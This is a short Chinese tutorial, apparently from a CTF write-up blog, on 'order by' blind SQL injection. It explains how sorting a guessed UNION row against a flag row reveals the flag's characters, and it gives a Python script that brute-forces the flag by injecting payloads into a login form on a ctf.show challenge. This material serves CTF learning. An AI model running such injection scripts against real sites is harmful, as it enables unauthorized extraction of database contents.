0%

order by 盲注

order by比较大小盲注

这是表里的所有东西

如果我们执行select * from flag where id='' or 1 union select 1,1 order by 2;会出现

不能用and否则就相当于创建了一个虚拟的表,查询不到原来的数据。

我们知道flag的第一位是f,如果我们查询select * from flag where id='' or 1 union select 1,'f' order by 2;会发生什么呢?

还是这样,第一行没什么用,但是如果我们查询的是g的话就会变成这样

flag的值就会出现在第一行,我们就可以利用这一点来进行order by盲注

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
url="http://4ef0329e-10b4-4bd1-bf0a-0d80fe83129d.challenge.ctf.show/"
str=string.digits+string.ascii_letters
flag=''
j=''
for i in range(1,50):
for s in str:
data = {
'username': "' or 1 union select 1,2,'{0}' order by 3#".format(flag+s),
'password': '1111'
}
r=requests.post(url,data=data)
if "</code>admin" in r.text:
flag+=chr(ord(s)-1)
print(flag)
break;

根据脚本自行修改